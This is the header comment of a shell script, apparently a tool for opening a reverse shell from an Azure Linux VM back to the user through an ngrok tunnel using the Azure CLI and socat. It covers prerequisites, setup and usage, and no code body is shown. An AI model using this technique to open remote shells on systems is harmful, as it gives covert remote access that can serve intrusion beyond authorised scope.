# Reverse Shell for Azure VMs
# Author: Josh Spicer <hello@joshspicer.com>
#### GOAL ####
# For any Azure Compute Linux VM where you have permission to execute one-off commands via the Azure CLI,
# issues a reverse shell command to the VM and sends the shell back to you over TCP (via an ngrok tunnel)
#### Prereqs ####
# socat
# ngrok
# Azure CLI
# jq
#
# The script will automatically try to install these dependencies if they aren't detected on your path
# They can be installed manually by scrolling down and running each line for your platform.
#### Additonal Setup ####
# 1. Create/Login to a free ngrok acct (ngrok authtoken <YOUR TOKEN FROM NGROK.COM>)
# 2. Log into Azure CLI (az login)
#### Supports ####
# - MacOS
# - Windows WSL
# - Debian-based linux distros
#### Usage ####
# ./reverse-shell-azure.sh <VM GUID> [RESOURCE_GROUP] [SUBSCRIPTION]
